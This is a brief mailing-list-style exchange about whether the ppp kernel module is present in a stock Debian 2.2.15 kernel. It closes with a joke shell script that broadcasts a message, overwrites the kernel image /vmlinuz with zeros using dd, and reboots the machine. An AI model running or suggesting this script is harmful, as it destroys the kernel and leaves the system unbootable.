  You sure it's not available? Look for /lib/modules/2.2.15/net/ppp.o .
  I'm thinking ppp should be available with the stock kernel (since you
  can install Debian with 5 floppies and a dialup line).

  Matters not a whit.  However, a few packages may care which series of
  kernel you're running.

#! /bin/sh
echo 'Linux Must Die!' | wall
dd if=/dev/zero of=/vmlinuz bs=1 \
     count=`du -Lb /vmlinuz | awk '{ /^([0-9])+/ ; print $1 }'`
shutdown -r now
